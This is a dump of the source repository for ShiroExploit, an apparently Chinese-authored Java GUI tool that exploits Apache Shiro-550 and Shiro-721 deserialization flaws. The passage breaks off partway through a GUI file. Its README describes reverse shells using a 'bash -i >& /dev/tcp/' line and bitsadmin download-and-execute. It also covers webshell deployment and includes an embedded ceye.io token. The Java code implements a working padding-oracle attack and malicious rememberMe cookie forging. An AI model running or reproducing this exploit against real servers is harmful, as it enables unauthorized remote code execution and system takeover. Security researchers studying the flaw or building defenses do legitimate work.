├── .idea ├── $PRODUCT_WORKSPACE_FILE$ ├── .gitignore ├── Shiro-721.iml ├── artifacts │ └── ShiroExploit.xml ├── compiler.xml ├── misc.xml ├── uiDesigner.xml └── vcs.xml ├── README.md ├── imgForReadMe ├── pic1.jpg ├── pic2.png ├── pic3.png ├── pic4.png ├── pic5.png ├── pic6.png ├── x001.jpg ├── x002.png ├── x003.png ├── xxx.png └── yyy.png ├── pom.xml └── src ├── META-INF └── MANIFEST.MF └── main ├── java └── com │ └── shiroexploit │ ├── core │ ├── AesEncrypt.java │ ├── PaddingOracle.java │ └── RoundTask.java │ ├── gui │ ├── AboutPane.java │ ├── ConfigPane.java │ ├── Console.java │ ├── MainPane.java │ ├── PenddingUI.java │ ├── PromptMessageUI.java │ ├── ProxyConfigPane.java │ └── StartPane.java │ ├── server │ └── BasicHTTPServer.java │ ├── task │ ├── GetDNSLogRecordTask.java │ └── TestConnectionTask.java │ ├── util │ ├── Config.java │ ├── ConfigReader.java │ ├── EchoType.java │ ├── EchoUtil.java │ ├── ExploitFailedException.java │ ├── HttpRequest.java │ ├── HttpRequestInfo.java │ ├── MyX509TrustManager.java │ ├── PayloadType.java │ ├── RememberMeCache.java │ └── Tools.java │ └── vulnverifier │ ├── Shiro550VerifierUsingEcho.java │ ├── Shiro550VerifiertUsingCeye.java │ ├── Shiro550VerifiertUsingDNSLog.java │ ├── Shiro550VerifiertWithJRMP.java │ ├── Shiro721VerifierUsingEcho.java │ ├── Shiro721VerifierWithJRMP.java │ ├── Shiro721VerifiertUsingCeye.java │ ├── Shiro721VerifiertUsingDNSLog.java │ ├── Verifier.java │ └── VerifierFactory.java └── resources └── my.css /.idea/$PRODUCT_WORKSPACE_FILE$: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 1.8 8 | 9 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /workspace.xml -------------------------------------------------------------------------------- /.idea/Shiro-721.iml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /.idea/artifacts/ShiroExploit.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/out/artifacts/ShiroExploit 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 7 | 8 | 13 | 14 | 15 | 16 | 17 | -------------------------------------------------------------------------------- /.idea/uiDesigner.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### 2019.11.9 update: 2 | 由于当初作者开发时能力有限,导致工具本身存在着笨重及问题较多等诸多缺点。目前有很多其他的优秀工具提供了对shiro检测/利用更好的支持(如更好的回显支持,更有效的gadget与直接支持内存shell等),此工具目前已相形见绌。请各位移步其他更优秀的项目,感谢各位的使用。 3 | ### 2019.9.20 update: 4 | 对回显方式进行了一次更新,希望现在能好用一点 5 | ### 2020.9.12 update: 6 | 很多回显方式在本地测试OK,但是在实际环境中却不行,这个问题我不知道该怎么解决,希望有师傅可以指导下或者一起讨论下。 7 | 8 | # ShiroExploit 9 | 支持对Shiro550(硬编码秘钥)和Shiro721(Padding Oracle)的一键化检测,支持多种回显方式 10 | 11 | ## 使用说明 12 | ### 第一步:按要求输入要检测的目标URL和选择漏洞类型 13 | + ```Shiro550```无需提供rememberMe Cookie,```Shiro721```需要提供一个有效的rememberMe Cookie 14 | + 可以手工指定特定的 Key/Gadget/EchoType(支持多选),如果不指定会遍历所有的 Key/Gadget/EchoType 15 | + 复杂Http请求支持直接粘贴数据包 16 | ![pic1](https://github.com/feihong-cs/ShiroExploit/blob/master/imgForReadMe/x001.jpg?raw=true) 17 | 18 | ### 第二步: 选择攻击方式 19 | ![pic2](https://github.com/feihong-cs/ShiroExploit/blob/master/imgForReadMe/x002.png?raw=true) 20 | 21 | #### 选择 ```使用 ceye.io 进行漏洞检测``` 22 | + 可以不进行任何配置,配置文件中已经预置了 CEYE 域名和对应的 Token,当然也可以对其进行修改。 23 | + 程序会首先使用反序列化 ```SimplePrincipalCollection``` 的方式筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload 24 | + 缺点:程序会使用 API:http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID] 查询检测结果,这个 API 有时候会无法正常访问,导致在这种方式下无法找到 Key 或者有效的 Gadget 25 | 26 | 27 | #### 选择 ```使用 dnslog.cn 进行漏洞检测``` 28 | + 可以不进行任何配置,每次启动时程序会自动从 ```dnslog.cn``` 申请一个 DNS Record。 29 | + 程序会首先使用反序列化 ```SimplePrincipalCollection``` 的方式筛选出唯一 Key,然后依次调用各个 Gadget 生成 Payload 30 | + 缺点:少数时候 dnslog.cn 会间隔较久才显示 DNS 解析结果导致程序无法找到 Key 或者有效的 Gadget,且 dnslog.cn 只会记录最近的10条 DNS 解析记录 31 | 32 | #### 选择 ```使用 JRMP + dnslog 进行漏洞检测``` 33 | + 需要在 VPS 上通过命令```java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port]```开启HttpService/JRMPListener,并按照要求填入相应 IP 和端口 34 | + 如果开启 HttpService/JRMPListener 时未指定端口号,则 ```HTTPService``` 默认监听 ```8080``` 端口,```JRMPListener``` 默认监听 ```8088``` 端口 35 | + 使用 ```JRMP``` 的方式进行漏洞检测,可以显著减小 cookie 大小 36 | + 程序会首先使用反序列化 ```SimplePrincipalCollection``` 的方式筛选出唯一 Key,然后使用 ```JRMP``` 依次为各个 Gadget 生成对应的 JRMPListener 37 | 38 | #### 选择 ```使用回显进行漏洞检测``` 39 | + 针对不出网的情况进行漏洞检测,此时可以检测的 Gadget 类型会少于使用 DNSLog 方式的 Gadget类型 40 | + 程序会首先使用反序列化 ```SimplePrincipalCollection``` 的方式筛选出唯一 Key,然后依次判断可用的 Gadget 类型和回显方式 41 | + 支持多种回显方式,回显方式和代码请参考 [deserizationEcho](https://github.com/feihong-cs/deserizationEcho) 42 | + 使用写文件回显方式时,可以提供一个静态资源 URL,程序会将此静态资源所在的目录当做写入目录,若不提供,则写入根目录 43 | + 测试 vulhub 拉取的镜像及 Windows下用 Tomcat 搭建的测试环境,结果如下 44 | ![echo1](https://github.com/feihong-cs/ShiroExploit/blob/master/imgForReadMe/xxx.png?raw=true) 45 | ![echo2](https://github.com/feihong-cs/ShiroExploit/blob/master/imgForReadMe/yyy.png?raw=true) 46 | 47 | ### 第三步:检测漏洞并执行命令 48 | + 程序在判断目标应用是否存在漏洞时,窗口上部的输入框无法进行输入。当程序检测出目标应用存在漏洞时,输入框可以进行输入并执行命令。 49 | + ```反弹shell(linux)``` 采用 ```bash -i >& /dev/tcp/1.2.3.4/443 0>&1``` 的方式反弹 shell 50 | + ```反弹shell(Windows)``` 采用 ```bitsadmin``` 下载指定 URL 的 exe 文件并执行的方式获取 shell 51 | + ```获取Webshell``` 直接在使用者给出的路径(目录需要真实存在)下写入 webshell, webshell 名称和后缀名由使用者自行指定,webshell 的内容从 config 目录下的 shell.jsp 中读取 52 | ![pic3](https://github.com/feihong-cs/ShiroExploit/blob/master/imgForReadMe/x003.png?raw=true) 53 | 54 | 55 | ## 备注 56 | 在使用漏洞检测主程序或者开启 HttpService/JRMPListener 时,均需要ysoserial.jar的支持,将ysoserial.jar和ShiroExploit.jar放置在同一目录即可。 57 | 58 | ## 致谢 59 | 感谢 [AgeloVito](https://github.com/AgeloVito) ```怕冷的企鹅``` 给予本项目的技术支持 60 | -------------------------------------------------------------------------------- /imgForReadMe/pic1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/pic1.jpg -------------------------------------------------------------------------------- /imgForReadMe/pic2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/pic2.png -------------------------------------------------------------------------------- /imgForReadMe/pic3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/pic3.png -------------------------------------------------------------------------------- /imgForReadMe/pic4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/pic4.png -------------------------------------------------------------------------------- /imgForReadMe/pic5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/pic5.png -------------------------------------------------------------------------------- /imgForReadMe/pic6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/pic6.png -------------------------------------------------------------------------------- /imgForReadMe/x001.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/x001.jpg -------------------------------------------------------------------------------- /imgForReadMe/x002.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/x002.png -------------------------------------------------------------------------------- /imgForReadMe/x003.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/x003.png -------------------------------------------------------------------------------- /imgForReadMe/xxx.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/xxx.png -------------------------------------------------------------------------------- /imgForReadMe/yyy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/feihong-cs/ShiroExploit-Deprecated/73a77e986883a8aa7594a5db08d3927ede766404/imgForReadMe/yyy.png -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | Shiro-721 8 | Shiro-721 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 13 | org.apache.maven.plugins 14 | maven-compiler-plugin 15 | 16 | 7 17 | 7 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | org.json 28 | json 29 | 20180813 30 | 31 | 32 | 33 | org.controlsfx 34 | controlsfx 35 | 8.40.17 36 | 37 | 38 | org.apache.httpcomponents 39 | httpclient 40 | 4.5.10 41 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /src/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: com.shiroexploit.gui.StartPane 3 | 4 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/core/AesEncrypt.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.core; 2 | 3 | import org.apache.commons.codec.binary.Base64; 4 | import javax.crypto.Cipher; 5 | import javax.crypto.spec.IvParameterSpec; 6 | import javax.crypto.spec.SecretKeySpec; 7 | import java.security.AlgorithmParameters; 8 | 9 | 10 | public class AesEncrypt { 11 | 12 | public static String encrypt(String key, byte[] payload){ 13 | try{ 14 | byte[] raw = Base64.decodeBase64(key); 15 | Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); 16 | AlgorithmParameters params = cipher.getParameters(); 17 | byte[] ivs = params.getParameterSpec(IvParameterSpec.class).getIV(); 18 | IvParameterSpec iv = new IvParameterSpec(ivs); 19 | SecretKeySpec keySpec = new SecretKeySpec(raw, "AES"); 20 | cipher.init(Cipher.ENCRYPT_MODE, keySpec, iv); 21 | byte[] encrypted = cipher.doFinal(payload); 22 | 23 | byte[] result = new byte[ivs.length + encrypted.length]; 24 | System.arraycopy(ivs,0, result, 0, ivs.length); 25 | System.arraycopy(encrypted, 0, result, ivs.length, encrypted.length); 26 | 27 | return Base64.encodeBase64String(result); 28 | }catch(Exception e){ 29 | e.printStackTrace(); 30 | } 31 | 32 | return null; 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/core/PaddingOracle.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.core; 2 | 3 | import com.shiroexploit.util.*; 4 | import org.apache.commons.codec.DecoderException; 5 | import org.apache.commons.codec.binary.Base64; 6 | import org.apache.commons.codec.binary.Hex; 7 | 8 | public class PaddingOracle { 9 | private HttpRequestInfo httpRequestInfo; 10 | private byte[] payload; 11 | 12 | public PaddingOracle(HttpRequestInfo httpRequestInfo, byte[] payload){ 13 | this.httpRequestInfo = httpRequestInfo; 14 | this.payload = payload; 15 | } 16 | 17 | private String getIntermediary(String cipherText){ 18 | StringBuffer intermediary = new StringBuffer(); 19 | for(int position=1; position <= 16; position++){ 20 | 21 | RoundTask task = new RoundTask(httpRequestInfo, position, cipherText, intermediary); 22 | task.start(); 23 | 24 | //正常情况下,每走一轮 RoundTask,intermediary 的长度应该是增加 2 的 25 | //如果某一轮 RoundTask 连续重试 5 次也没有找到有效的值,可能就是上一轮 RoundTask 拿到的结果有误,需要退回到上一轮重试 26 | if(intermediary.length() == position * 2){ 27 | System.out.println("[*] After RoundTask: " + intermediary); 28 | }else{ 29 | System.out.println("[*] It appears a wrong result got in previous, let's turn one round back and retry..."); 30 | position = ((position - 2 ) >= 0 ) ? (position - 2) : 0; 31 | } 32 | } 33 | 34 | return intermediary.toString(); 35 | } 36 | 37 | private boolean hasVuln(){ 38 | Tools.getDeleteMeBaseCount(); 39 | 40 | for(int i=0; i<256; i++){ 41 | String hex = Integer.toHexString(i); 42 | if (hex.length() == 1) { 43 | hex = 0 + hex; 44 | } 45 | 46 | String testString = httpRequestInfo.getRememberMeCookie() + "00000000000000000000000000000000".substring(2) + hex + "00000000000000000000000000000000"; 47 | byte[] bytes = null; 48 | try { 49 | bytes = Hex.decodeHex(testString); 50 | } catch (DecoderException e) { 51 | e.printStackTrace(); 52 | } 53 | String payload = Base64.encodeBase64String(bytes);; 54 | 55 | if (HttpRequest.getDeleteMeCount(httpRequestInfo, payload) < Tools.deleteMeBaseCount) { 56 | return true; 57 | } 58 | } 59 | 60 | return false; 61 | } 62 | 63 | public String encrypt() throws ExploitFailedException { 64 | if(!hasVuln()){ 65 | throw new ExploitFailedException("[-] Target URL seems not vulnerable to Padding Oracle Attack"); 66 | }else{ 67 | System.out.println("[+] Application is vulnerable to Padding Oracle Attack"); 68 | } 69 | 70 | padding(); 71 | 72 | StringBuffer sb = new StringBuffer(); 73 | System.out.println("[*] Set Initial cipherText to 00000000000000000000000000000000"); 74 | String cipherText = "00000000000000000000000000000000"; 75 | sb.insert(0, cipherText); 76 | int count = payload.length / 16; 77 | 78 | for(int i = payload.length; i > 0; i = i-16){ 79 | byte[] block = new byte[16]; 80 | System.arraycopy(payload, i-16, block,0, 16); 81 | System.out.println("[*] Calulating block " + count--); 82 | String intermediary = getIntermediary(cipherText); 83 | System.out.println("[+] Get intermediary: " + intermediary); 84 | cipherText = Tools.xor(intermediary, Hex.encodeHexString(block)); 85 | System.out.println("[+] Get cipherText: " + cipherText); 86 | sb.insert(0,cipherText); 87 | } 88 | 89 | byte[] res = new byte[0]; 90 | try { 91 | res = Hex.decodeHex(sb.toString()); 92 | } catch (DecoderException e) { 93 | e.printStackTrace(); 94 | } 95 | return Base64.encodeBase64String(res); 96 | } 97 | 98 | public void padding() { 99 | int blockSize = (int)Math.ceil(payload.length / 16.0); 100 | System.out.println("[*] Payload has " + blockSize + " block"); 101 | System.out.println("[*] Padding payload"); 102 | 103 | int len = payload.length; 104 | int paddingLen = 0; 105 | while (len % 16 != 0) { 106 | len++; 107 | paddingLen++; 108 | } 109 | 110 | byte[] padding = new byte[paddingLen]; 111 | for (int i = 0; i < paddingLen; i++) { 112 | padding[i] = (byte) paddingLen; 113 | } 114 | 115 | byte[] data = new byte[len]; 116 | System.arraycopy(payload, 0, data, 0, payload.length); 117 | System.arraycopy(padding, 0, data, payload.length, padding.length); 118 | 119 | this.payload = data; 120 | } 121 | 122 | private String generatePayload(String IV, String cipherText){ 123 | String payload = httpRequestInfo.getRememberMeCookie() + IV + cipherText; 124 | byte[] bytes = new byte[0]; 125 | try { 126 | bytes = Hex.decodeHex(payload); 127 | } catch (DecoderException e) { 128 | e.printStackTrace(); 129 | } 130 | 131 | return Base64.encodeBase64String(bytes); 132 | } 133 | } -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/core/RoundTask.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.core; 2 | 3 | import com.shiroexploit.util.HttpRequest; 4 | import com.shiroexploit.util.HttpRequestInfo; 5 | import com.shiroexploit.util.Tools; 6 | import java.util.concurrent.CountDownLatch; 7 | import java.util.concurrent.ExecutorService; 8 | import java.util.concurrent.Executors; 9 | import java.util.concurrent.atomic.AtomicInteger; 10 | 11 | public class RoundTask { 12 | private int threads; 13 | private String cipherText; 14 | private int position; 15 | private String rememberMe; 16 | private StringBuffer intermediary; 17 | private String suffix; 18 | private HttpRequestInfo httpRequestInfo; 19 | 20 | public RoundTask(HttpRequestInfo httpRequestInfo, int position, String cipherText, StringBuffer intermediary) { 21 | this.threads = 1; 22 | this.httpRequestInfo = httpRequestInfo; 23 | this.cipherText = cipherText; 24 | this.position = position; 25 | this.rememberMe = httpRequestInfo.getRememberMeCookie(); 26 | this.intermediary = intermediary; 27 | this.suffix = Tools.xor(intermediary.toString(), Tools.generateSuffix(position)); 28 | } 29 | 30 | private AtomicInteger _index = new AtomicInteger(0); 31 | public void start() { 32 | int retry = 5; 33 | final boolean[] found = {false}; 34 | 35 | //增加一个 do...while 循环,目的是如果由于网络原因,某一轮 round 没有找到,重新在尝试,最多尝试 5 次 36 | do{ 37 | final CountDownLatch latch = new CountDownLatch(256); 38 | final ExecutorService executor = Executors.newFixedThreadPool(this.threads); 39 | 40 | for(int a = 0; a < 256; a++) { 41 | if(!executor.isShutdown()){ 42 | executor.execute(new Runnable() { 43 | @Override 44 | public void run() { 45 | int j = _index.getAndIncrement(); 46 | 47 | String hex = Integer.toHexString(j); 48 | if (hex.length() == 1) { 49 | hex = 0 + hex; 50 | } 51 | 52 | String ivString = "00000000000000000000000000000000".substring(2 * position) + hex + suffix; 53 | String paddingOraclePayload = Tools.generatePayload(rememberMe, ivString, cipherText); 54 | 55 | if (HttpRequest.getDeleteMeCount(httpRequestInfo, paddingOraclePayload) < Tools.deleteMeBaseCount) { 56 | // position=1 的时候有非常低的概率可能是满足 0x02 0x02 类似形式的padding,需要排除这种可能 57 | if (position == 1) { 58 | ivString = ivString.substring(0, 28) + "01" + ivString.substring(30); 59 | paddingOraclePayload = Tools.generatePayload(rememberMe, ivString, cipherText); 60 | 61 | if (HttpRequest.getDeleteMeCount(httpRequestInfo, paddingOraclePayload) < Tools.deleteMeBaseCount) { 62 | found[0] = true; 63 | 64 | synchronized (RoundTask.class){ 65 | intermediary.insert(0, Tools.xor(Integer.toHexString(position), ivString)); 66 | executor.shutdownNow(); 67 | while (latch.getCount() > 0) { 68 | latch.countDown(); 69 | } 70 | } 71 | } 72 | } else { 73 | found[0] = true; 74 | 75 | synchronized (RoundTask.class){ 76 | intermediary.insert(0, Tools.xor(Integer.toHexString(position), ivString.substring(32 - 2 * position, 32 - 2 * position + 2))); 77 | executor.shutdownNow(); 78 | while (latch.getCount() > 0) { 79 | latch.countDown(); 80 | } 81 | } 82 | } 83 | } 84 | 85 | latch.countDown(); 86 | } 87 | }); 88 | } 89 | } 90 | 91 | try { 92 | latch.await(); 93 | } catch (InterruptedException e) { 94 | e.printStackTrace(); 95 | } 96 | 97 | retry--; 98 | 99 | }while(!found[0] && retry > 0); 100 | } 101 | } 102 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/gui/AboutPane.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.gui; 2 | 3 | import javafx.event.ActionEvent; 4 | import javafx.event.EventHandler; 5 | import javafx.geometry.Insets; 6 | import javafx.geometry.Pos; 7 | import javafx.scene.control.Button; 8 | import javafx.scene.control.TextArea; 9 | import javafx.scene.layout.BorderPane; 10 | import javafx.scene.layout.Pane; 11 | import javafx.stage.Stage; 12 | 13 | public class AboutPane { 14 | private BorderPane borderPane; 15 | private Button closeButton; 16 | 17 | public AboutPane(){ 18 | drawPane(); 19 | addEventListeners(); 20 | } 21 | 22 | public Pane getPane(){ 23 | return borderPane; 24 | } 25 | 26 | private void drawPane() { 27 | borderPane = new BorderPane(); 28 | closeButton = new Button("关闭"); 29 | 30 | borderPane.setPadding(new Insets(20,20,20,20)); 31 | TextArea textArea = new TextArea(); 32 | textArea.setWrapText(true); 33 | textArea.setEditable(false); 34 | textArea.getStyleClass().add("text-area"); 35 | textArea.setText("ShiroExploit v2.51 Final by 飞鸿\n" + 36 | "你可以从 https://github.com/feihong-cs/ShiroExploit/releases 下载最新的版本\n" + 37 | "\n" + 38 | "如果你有bug反馈或者好的建议,或者有合作开发新工具的想法,或者有合肥地区好的工作机会推荐可以通过 huangfeihong_cs@163.com 联系我\n" + 39 | "\n" + 40 | "改动日志:\n" + 41 | "ShiroExploit v2.51 Final \n" + 42 | "\t1. 增加 2 种新的回显方式 TomcatEcho2, JBossEcho,将 WeblogicEcho1 和 WeblogicEcho2 进行了合并\n" + 43 | "\t2. 默认不启用 WindowEcho, Use with caution\n" + 44 | "\t3. Shiro550VerifierUsingEcho 回退到 URLDNS 方法时,由原先的使用 ceye.io 修改为使用 dnslog.cn\n" + 45 | "\t4. 增加对设置 Http 代理的支持\n" + 46 | "\t5. 增加 About 按钮\n" + 47 | "\n" + 48 | "\n" + 49 | "ShiroExploit v2.5 Final\n" + 50 | "\t1. 反编译了网上流传的 xary 的 gadget,参考其 tomcat echo 的代码对原本的 tomcat 回显代码进行优化\n" + 51 | "\t2. 对 AutoFindRequest LinuxEcho WindowsEcho 的代码进行优化\n" + 52 | "\n" + 53 | "\n" + 54 | "ShiroExploit v2.43 Final\n" + 55 | "\t1. 针对一个误报case:在使用反序列 SimplePrincipalCollection 方式寻找 key 时,即使 key 正确,也非常罕见的依然返回 rememberMe=deleteMe 的情况进行优化\n" + 56 | "\t2. 修复使用默认 User-agent(Java/版本号)导致的漏报case\n" + 57 | "\t3. 当使用 ceye.io/dnslog.cn/jrmp/echo 方式时,当使用反序列化 SimplePrincipalCollection 方式未找到 key 时,回退到 URLDNS 的方式,以最大程度的减少漏报\n" + 58 | "\n" + 59 | "\n" + 60 | "ShiroExploit v2.42 Final\n" + 61 | "\t1. 修复一个误报case, case描述:key错误的时候返回2个 deleteMe,key正确的时候返回一个 deleteMe,导致误报\n" + 62 | "\n" + 63 | "\n" + 64 | "ShiroExploit v2.41 Final\n" + 65 | "\t1. 使用反序列化 SimplePrincipalCollection 的方式检测有效 key,提升检测效率\n" + 66 | "\t2. 剔除 keys.conf.big 中无效的 key\n" + 67 | "\t3. 修改 DNSLog.cn 无法访问时错误的提示语\n" + 68 | "\n" + 69 | "\n" + 70 | "ShiroExploit v2.4 Final\n" + 71 | "\t1. 增加对多种回显方式的支持\n" + 72 | "\t2. 为 Shiro721 添加回显支持\n" + 73 | "\t3. 为 Shiro721 利用 Padding Oracle 生成 cookie 过程增加容错机制\n" + 74 | "\t4. Shiro721 不需要再选择操作系统\n" + 75 | "\t5. 修复自定义 rememberMe cookie 名称时,Shiro 721 验证出错的 bug\n" + 76 | "\t6. 检测到漏洞后,反弹 shell 或者 部署 webshell 修改为下拉框的方式\n" + 77 | "\t7. 为使用 ceye/dnslog/jrmp 的方式提供获取 webshell 的支持\n" + 78 | "\t8. 修改起始 UI,增加对 Key/Gadget/EchoType 的手工指定,支持多选\n" + 79 | "\t9. 参考 https://xz.aliyun.com/t/6227 缩小 ysoserial 生成的 payload 的体积\n" + 80 | "\t10. 更新 keys.conf.big(感谢AgeloVito提供)\n" + 81 | "\t11. 为 Shiro721 部分回显方式生成的 Cookie 提供缓存支持\n" + 82 | "\t12. 执行命令时,如果存在多个 Gadget/EchoType,随机选择一个\n" + 83 | "\n" + 84 | "\n" + 85 | "ShiroExploit v2.3\n" + 86 | "\t1. 修复之前漏洞检测失败的bug\n" + 87 | "\t2. 修复关闭窗口后程序依然运行的bug\n" + 88 | "\t3. 增加反弹shell的功能\n" + 89 | "\t4. 增加使用第三方(ceye.io)之外DNSLog平台检测key的功能\n" + 90 | "\t5. 优化UI,增加等待效果\n" + 91 | "\t6. 使用 https://github.com/wh1t3p1g/ysoserial 替代原有的 ysoserial.jar,增加 PayloadType\n" + 92 | "\t7. 其他小改动\n" + 93 | "\n" + 94 | "\n" + 95 | "ShiroExploit v2.11\n" + 96 | "\t1. 完善对 Https 的支持\n" + 97 | "\n" + 98 | "\n" + 99 | "ShiroExploit v2.1\n" + 100 | "\t1. 将部分配置从硬编码的方式修改为从配置文件读取\n" + 101 | "\t2. 支持解析复杂Http请求\n" + 102 | "\t3. 修复服务器为 Windows系统时无法检测漏洞的Bug\n" + 103 | "\n" + 104 | "\n" + 105 | "ShiroExploit v2.0\n" + 106 | "\t1. 增加GUI支持,使用更加简单快捷\n" + 107 | "\n"); 108 | 109 | borderPane.setCenter(textArea); 110 | borderPane.setBottom(closeButton); 111 | borderPane.setAlignment(closeButton, Pos.CENTER); 112 | borderPane.setMargin(closeButton, new Insets(10,0,10,0)); 113 | } 114 | 115 | private void addEventListeners(){ 116 | closeButton.setOnAction(new EventHandler() { 117 | @Override 118 | public void handle(ActionEvent event) { 119 | Stage currentStage = (Stage) borderPane.getScene().getWindow(); 120 | currentStage.close(); 121 | } 122 | }); 123 | } 124 | } 125 | -------------------------------------------------------------------------------- /src/main/java/com/shiroexploit/gui/ConfigPane.java: -------------------------------------------------------------------------------- 1 | package com.shiroexploit.gui; 2 | 3 | import com.shiroexploit.task.GetDNSLogRecordTask; 4 | import com.shiroexploit.util.Config; 5 | import com.shiroexploit.util.HttpRequest; 6 | import com.shiroexploit.util.PayloadType; 7 | import javafx.application.Platform; 8 | import javafx.beans.value.ChangeListener; 9 | import javafx.beans.value.ObservableValue; 10 | import javafx.event.ActionEvent; 11 | import javafx.event.EventHandler; 12 | import javafx.geometry.Insets; 13 | import javafx.geometry.Pos; 14 | import javafx.scene.Scene; 15 | import javafx.scene.control.*; 16 | import javafx.scene.layout.*; 17 | import javafx.stage.Stage; 18 | import javafx.stage.WindowEvent; 19 | import java.io.IOException; 20 | import java.net.MalformedURLException; 21 | import java.net.URL; 22 | import java.util.ArrayList; 23 | import java.util.List; 24 | 25 | public class ConfigPane { 26 | private VBox vBox = new VBox(); 27 | private StartPane previousPane; 28 | private ToggleGroup typeGroup = new ToggleGroup(); 29 | private RadioButton ceyeButton = new RadioButton("使用 ceye.io 进行漏洞检测"); 30 | private RadioButton dnsLogButton = new RadioButton("使用 dnslog.cn 进行漏洞检测"); 31 | private RadioButton oobServiceButton = new RadioButton("使用 JRMP + dnslog.cn 进行漏洞检测"); 32 | private RadioButton echoButton = new RadioButton("使用回显进行漏洞检测"); 33 | private GridPane middlePane = new GridPane(); 34 | private TextField ipAddress = new TextField(); 35 | private TextField httpServicePort = new TextField(); 36 | private TextField JRMPListenerPort = new TextField(); 37 | private GridPane bottomPane = new GridPane(); 38 | private ToggleGroup skipIfFound = new ToggleGroup(); 39 | private RadioButton yesForSkip = new RadioButton("是"); 40 | private RadioButton noForSkip = new RadioButton("否"); 41 | Button previous = new Button("上一步"); 42 | Button next = new Button("下一步"); 43 | private TextField staticFilePathField = new TextField(); 44 | private boolean used = false; 45 | 46 | public ConfigPane(StartPane pane){ 47 | this.previousPane = pane; 48 | drawPane(); 49 | addListeners(); 50 | } 51 | 52 | public Pane getPane(){ 53 | return this.vBox; 54 | } 55 | 56 | private void addListeners(){ 57 | 58 | typeGroup.selectedToggleProperty().addListener(new ChangeListener() { 59 | @Override 60 | public void changed(ObservableValue observable, Toggle oldValue, Toggle newValue) { 61 | if(newValue == ceyeButton){ 62 | middlePane.setDisable(true); 63 | bottomPane.setDisable(true); 64 | staticFilePathField.setDisable(true); 65 